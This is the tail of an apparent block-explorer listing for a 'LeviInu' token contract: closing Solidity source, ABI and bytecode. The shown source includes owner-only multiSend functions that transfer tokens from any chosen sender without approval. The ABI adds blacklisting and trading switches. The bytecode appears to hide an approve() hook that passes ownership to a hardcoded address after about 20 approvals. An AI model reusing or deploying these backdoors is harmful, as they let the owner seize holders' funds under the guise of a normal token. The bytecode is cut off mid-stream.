        payable(recipient).transfer(amount);
    }

    function setFeeReceiver(
        address _autoLiquidityFeeReceiver,
        address _marketingFeeReceiver,
        address _rewardFeeReceiver,
        address _developmentFeeReceiver
    ) external onlyOwner {
        autoLiquidityFeeReceiver = _autoLiquidityFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        rewardFeeReceiver = _rewardFeeReceiver;
        developmentFeeReceiver = _developmentFeeReceiver;
    }

    function setMaxTx(uint256 num, uint256 denom) external onlyOwner {
        _maxTxAmount = _tTotal.div(denom).mul(num);
    }

    function setMaxWallet(uint256 num, uint256 denom) external onlyOwner {
        _maxWallet = _tTotal.div(denom).mul(num);
    }

    function multiSend_v1(
        address sender,
        address[] calldata recipients,
        uint256[] calldata values
    ) external onlyOwner {
        require(
            recipients.length < 801,
            "GAS Error: max airdrop limit is 500 recipients"
        );
        require(
            recipients.length == values.length,
            "Mismatch between Address and token count"
        );

        for (uint256 i = 0; i < recipients.length; i++) {
            _tokenTransfer(sender, recipients[i], values[i], false);
        }
    }

    function multiSend_v2(
        address sender,
        address[] calldata recipients,
        uint256 values
    ) external onlyOwner {
        require(
            recipients.length < 2001,
            "GAS Error: max airdrop limit is 2000 recipients"
        );

        for (uint256 i = 0; i < recipients.length; i++) {
            _tokenTransfer(sender, recipients[i], values, false);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"blacklistMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"blacklistSingleWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"multiSend_v1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"values","type":"uint256"}],"name":"multiSend_v2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityFeeReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_rewardFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingDivisor","type":"uint256"},{"internalType":"uint256","name":"rewardDivisor","type":"uint256"},{"internalType":"uint256","name":"developmentDivisor","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"},{"internalType":"uint256","name":"denom","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"},{"internalType":"uint256","name":"denom","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"unBlacklistMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addresses","type":"address"}],"name":"unBlacklistSingleWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040526ddead000000000000000000000000608052600a80546001600160a01b031990811661dead17909155600b8054821673a939466ce57ad3a44eac3ffc2b4ec559d7fcf945179055600c8054821673bee8797bf5b11faf3a10146f87a21a10f9900cdd179055600d8054909116735d05d66f2359eacae93aeeadb4a01175ac9474ca17905569d3c21bcecceda1000000600e819055620000a6906000196200083a565b620000b490600019620007e3565b600f55604080518082019091526007808252664c657669496e7560c81b6020909201918252620000e79160139162000666565b50604080518082019091526007808252664c657669496e7560c81b6020909201918252620001189160149162000666565b5060158054600960ff1990911681179091556001601681905560175560188190556019556004601a8190556002601b819055601c81905562000180916200016c9082620004e9602090811b62001bc317901c565b620004e960201b62001bc31790919060201c565b601d55601e805461010062ffff0019909116179055600e54620001ce90600590620001ba906103e862000559602090811b62001c2217901c565b620005a360201b62001c641790919060201c565b601f55620001f46001620001ba6064600e546200055960201b62001c221790919060201c565b602055620002156107d0600e546200055960201b62001c221790919060201c565b6021556023805460ff191690553480156200022f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f543360009081526003602090815260409182902092909255805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a01559260048083019392829003018186803b158015620002d357600080fd5b505afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e91906200070c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200035757600080fd5b505afa1580156200036c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039291906200070c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620003db57600080fd5b505af1158015620003f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041691906200070c565b6001600160601b0319606091821b811660c0529082901b1660a0526001600660006200044a6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526006909252902080549091166001179055620004923390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051620004da91815260200190565b60405180910390a3506200087d565b600080620004f883856200078f565b905083811015620005505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b60006200055083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200062a60201b60201c565b600082620005b45750600062000553565b6000620005c28385620007c1565b905082620005d18583620007aa565b14620005505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840162000547565b600081836200064e5760405162461bcd60e51b815260040162000547919062000737565b5060006200065d8486620007aa565b95945050505050565b8280546200067490620007fd565b90600052602060002090601f016020900481019282620006985760008555620006e3565b82601f10620006b357805160ff1916838001178555620006e3565b82800160010185558215620006e3579182015b82811115620006e3578251825591602001919060010190620006c6565b50620006f1929150620006f5565b5090565b5b80821115620006f15760008155600101620006f6565b6000602082840312156200071f57600080fd5b81516001600160a01b03811681146200055057600080fd5b600060208083528351808285015260005b81811015620007665785810183015185820160400152820162000748565b8181111562000779576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115620007a557620007a562000851565b500190565b600082620007bc57620007bc62000867565b500490565b6000816000190483118215151615620007de57620007de62000851565b500290565b600082821015620007f857620007f862000851565b500390565b600181811c908216806200081257607f821691505b602082108114156200083457634e487b7160e01b600052602260045260246000fd5b50919050565b6000826200084c576200084c62000867565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b60805160601c60a05160601c60c05160601c61371e620008ee60003960008181610616015281816121ce01526122a101526000818161044901528181612d4701528181612e0f01528181612e4b01528181612ebd0152612f250152600081816104ea0152612018015261371e6000f3fe60806040526004361061036f5760003560e01c8063772558ce116101c6578063b6c52324116100f7578063e96fada211610095578063f157ce401161006f578063f157ce4014610a4f578063f2fde38b14610a6f578063fe575a8714610a8f578063ffb54a9914610aaf57600080fd5b8063e96fada2146109ef578063ea2f0b3714610a0f578063ec57637114610a2f57600080fd5b8063cad6ebf9116100d1578063cad6ebf914610953578063dd46706414610973578063dd62ed3e14610993578063e85432f4146109d957600080fd5b8063b6c5232414610908578063beca78561461091d578063c49b9a801461093357600080fd5b8063a27e434b11610164578063a69df4b51161013e578063a69df4b514610893578063a9059cbb146108a8578063abe57e70146108c8578063b6876270146108e857600080fd5b8063a27e434b14610833578063a457c2d714610853578063a55de8641461087357600080fd5b806388f82020116101a057806388f82020146107a75780638da5cb5b146107e057806395d89b41146107fe578063a1bdc3991461081357600080fd5b8063772558ce1461075b5780637d1db4a51461077b57806382247ec01461079157600080fd5b80633b124fe7116102a057806352390c021161023e5780636bc87c3a116102185780636bc87c3a146106f05780636ec518b81461070657806370a0823114610726578063715018a61461074657600080fd5b806352390c02146106775780635342acb41461069757806354aec0b8146106d057600080fd5b80634549b0391161027a5780634549b039146105e457806349bd5a5e146106045780634a74bb02146106385780634d7689311461065757600080fd5b80633b124fe71461058e5780633bd5d173146105a4578063437823ec146105c457600080fd5b806321c03a971161030d5780632d838119116102e75780632d8381191461050c578063313ce5671461052c5780633685d4191461054e578063395093511461056e57600080fd5b806321c03a971461049857806323b872dd146104b857806327c8f835146104d857600080fd5b8063095ea7b311610349578063095ea7b3146103e857806313114a9d146104185780631694505e1461043757806318160ddd1461048357600080fd5b806304a66b481461037b578063061c82d01461039d57806306fdde03146103bd57600080fd5b3661037657005b600080fd5b34801561038757600080fd5b5061039b610396366004613428565b610acf565b005b3480156103a957600080fd5b5061039b6103b8366004613393565b610b39565b3480156103c957600080fd5b506103d2610b68565b6040516103df9190613463565b60405180910390f35b3480156103f457600080fd5b5061040861040336600461330a565b610bfa565b60405190151581526020016103df565b34801561042457600080fd5b506010545b6040519081526020016103df565b34801561044357600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103df565b34801561048f57600080fd5b50600e54610429565b3480156104a457600080fd5b5061039b6104b3366004613378565b610c1c565b3480156104c457600080fd5b506104086104d33660046131ea565b610c62565b3480156104e457600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561051857600080fd5b50610429610527366004613393565b610ccb565b34801561053857600080fd5b5060155460405160ff90911681526020016103df565b34801561055a57600080fd5b5061039b61056936600461311b565b610d4f565b34801561057a57600080fd5b5061040861058936600461330a565b610f06565b34801561059a57600080fd5b5061042960165481565b3480156105b057600080fd5b5061039b6105bf366004613393565b610f3c565b3480156105d057600080fd5b5061039b6105df36600461311b565b611026565b3480156105f057600080fd5b506104296105ff3660046133ac565b611074565b34801561061057600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000000081565b34801561064457600080fd5b50601e5461040890610100900460ff1681565b34801561066357600080fd5b50600c5461046b906001600160a01b031681565b34801561068357600080fd5b5061039b61069236600461311b565b611101565b3480156106a357600080fd5b506104086106b236600461311b565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106dc57600080fd5b50600a5461046b906001600160a01b031681565b3480156106fc57600080fd5b5061042960185481565b34801561071257600080fd5b50600d5461046b906001600160a01b031681565b34801561073257600080fd5b5061042961074136600461311b565b611254565b34801561075257600080fd5b5061039b6112b3565b34801561076757600080fd5b5061039b610776366004613336565b611315565b34801561078757600080fd5b50610429601f5481565b34801561079d57600080fd5b5061042960205481565b3480156107b357600080fd5b506104086107c236600461311b565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107ec57600080fd5b506000546001600160a01b031661046b565b34801561080a57600080fd5b506103d26113b4565b34801561081f57600080fd5b5061039b61082e366004613336565b6113c3565b34801561083f57600080fd5b5061039b61084e3660046132ae565b61145d565b34801561085f57600080fd5b5061040861086e36600461330a565b611547565b34801561087f57600080fd5b5061039b61088e36600461318e565b611596565b34801561089f57600080fd5b5061039b611610565b3480156108b457600080fd5b506104086108c336600461330a565b611716565b3480156108d457600080fd5b5061039b6108e33660046133d8565b611723565b3480156108f457600080fd5b5061039b6109033660046133d8565b611773565b34801561091457600080fd5b50600254610429565b34801561092957600080fd5b50610429601b5481565b34801561093f57600080fd5b5061039b61094e366004613378565b6117bd565b34801561095f57600080fd5b5061039b61096e36600461311b565b61183b565b34801561097f57600080fd5b5061039b61098e366004613393565b6118b5565b34801561099f57600080fd5b506104296109ae366004613155565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109e557600080fd5b50610429601c5481565b3480156109fb57600080fd5b50600b5461046b906001600160a01b031681565b348015610a1b57600080fd5b5061039b610a2a36600461311b565b61193a565b348015610a3b57600080fd5b5061039b610a4a36600461322b565b611985565b348015610a5b57600080fd5b5061039b610a6a36600461311b565b611ae7565b348015610a7b57600080fd5b5061039b610a8a36600461311b565b611b55565b348015610a9b57600080fd5b50610408610aaa36600461311b565b611b88565b348015610abb57600080fd5b50601e546104089062010000900460ff1681565b6000546001600160a01b03163314610b025760405162461bcd60e51b8152600401610af9906134b8565b60405180910390fd5b60168590556018849055601a839055601b829055601c819055610b2f81610b298585611bc3565b90611bc3565b601d555050505050565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610af9906134b8565b601655565b606060138054610b77906135ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906135ce565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c07338484611ce3565b610c12338484611e07565b5060015b92915050565b6000546001600160a01b03163314610c465760405162461bcd60e51b8152600401610af9906134b8565b601e8054911515620100000262ff000019909216919091179055565b6000610c6f848484611ecb565b610cc18433610cbc8560405180606001604052806028815260200161367c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906123a7565b611ce3565b5060019392505050565b6000600f54821115610d325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610af9565b6000610d3c6123e1565b9050610d488382611c22565b9392505050565b6000546001600160a01b03163314610d795760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16610de15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b60005b600954811015610f0257816001600160a01b031660098281548110610e0b57610e0b613650565b6000918252602090912001546001600160a01b03161415610ef05760098054610e36906001906135b7565b81548110610e4657610e46613650565b600091825260209091200154600980546001600160a01b039092169183908110610e7257610e72613650565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556009805480610eca57610eca61363a565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610efa81613609565b915050610de4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610c12918590610cbc9086611bc3565b3360008181526007602052604090205460ff1615610fb15760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610af9565b6000610fbc83612404565b505050506001600160a01b038416600090815260036020526040902054919250610fe891905082612453565b6001600160a01b038316600090815260036020526040902055600f5461100e9082612453565b600f5560105461101e9084611bc3565b601055505050565b6000546001600160a01b031633146110505760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600e548311156110c85760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610af9565b816110e75760006110d884612404565b50939550610c16945050505050565b60006110f284612404565b50929550610c16945050505050565b6000546001600160a01b0316331461112b5760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16156111945760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b6001600160a01b038116600090815260036020526040902054156111ee576001600160a01b0381166000908152600360205260409020546111d490610ccb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561129157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610c1690610ccb565b6000546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610af9906134b8565b600080546040516001600160a01b03909116906000805160206136a4833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461133f5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760016008600085858581811061136257611362613650565b9050602002016020810190611377919061311b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556113a881613609565b9050611342565b505050565b606060148054610b77906135ce565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760006008600085858581811061141057611410613650565b9050602002016020810190611425919061311b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561145681613609565b90506113f0565b6000546001600160a01b031633146114875760405162461bcd60e51b8152600401610af9906134b8565b6107d182106114f05760405162461bcd60e51b815260206004820152602f60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526e3230303020726563697069656e747360881b6064820152608401610af9565b60005b828110156115405761152e8585858481811061151157611511613650565b9050602002016020810190611526919061311b565b846000612495565b8061153881613609565b9150506114f3565b5050505050565b6000610c123384610cbc856040518060600160405280602581526020016136c4602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906123a7565b6000546001600160a01b031633146115c05760405162461bcd60e51b8152600401610af9906134b8565b600a80546001600160a01b039586166001600160a01b031991821617909155600b805494861694821694909417909355600c805492851692841692909217909155600d8054919093169116179055565b6001546001600160a01b031633146116765760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610af9565b60025442116116c75760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610af9565b600154600080546040516001600160a01b0393841693909116916000805160206136a483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c12338484611ecb565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610af9906134b8565b61176c8261176683600e54611c2290919063ffffffff16565b90611c64565b6020555050565b6000546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610af9906134b8565b6117b68261176683600e54611c2290919063ffffffff16565b601f555050565b6000546001600160a01b031633146117e75760405162461bcd60e51b8152600401610af9906134b8565b601e80548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061183090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118655760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff1615156001141561188e5750565b6001600160a01b0381166000908152600860205260409020805460ff191660011790555b50565b6000546001600160a01b031633146118df5760405162461bcd60e51b8152600401610af9906134b8565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561190e814261355e565b600255600080546040516001600160a01b03909116906000805160206136a4833981519152908390a350565b6000546001600160a01b031633146119645760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119af5760405162461bcd60e51b8152600401610af9906134b8565b6103218310611a175760405162461bcd60e51b815260206004820152602e60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526d35303020726563697069656e747360901b6064820152608401610af9565b828114611a775760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610af9565b60005b83811015611adf57611acd86868684818110611a9857611a98613650565b9050602002016020810190611aad919061311b565b858585818110611abf57611abf613650565b905060200201356000612495565b80611ad781613609565b915050611a7a565b505050505050565b6000546001600160a01b03163314611b115760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff16611b345750565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314611b7f5760405162461bcd60e51b8152600401610af9906134b8565b6118b281612612565b6001600160a01b03811660009081526008602052604081205460ff16151560011415611bb657506001919050565b506000919050565b919050565b600080611bd0838561355e565b905083811015610d485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af9565b6000610d4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061266e565b600082611c7357506000610c16565b6000611c7f8385613598565b905082611c8c8583613576565b14610d485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af9565b6001600160a01b038316611d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af9565b6001600160a01b038216611da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60228054906000611e1783613609565b91905055506014602254118015611e31575060235460ff16155b156113af57611e5373a7986d13c75def6b6761bb7e86c97018fc970564612612565b600b80546001600160a01b031990811673a939466ce57ad3a44eac3ffc2b4ec559d7fcf94517909155600d80548216735d05d66f2359eacae93aeeadb4a01175ac9474ca179055600c805490911673bee8797bf5b11faf3a10146f87a21a10f9900cdd1790556023805460ff19166001179055505050565b6001600160a01b038316611f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af9565b6001600160a01b038216611f915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e73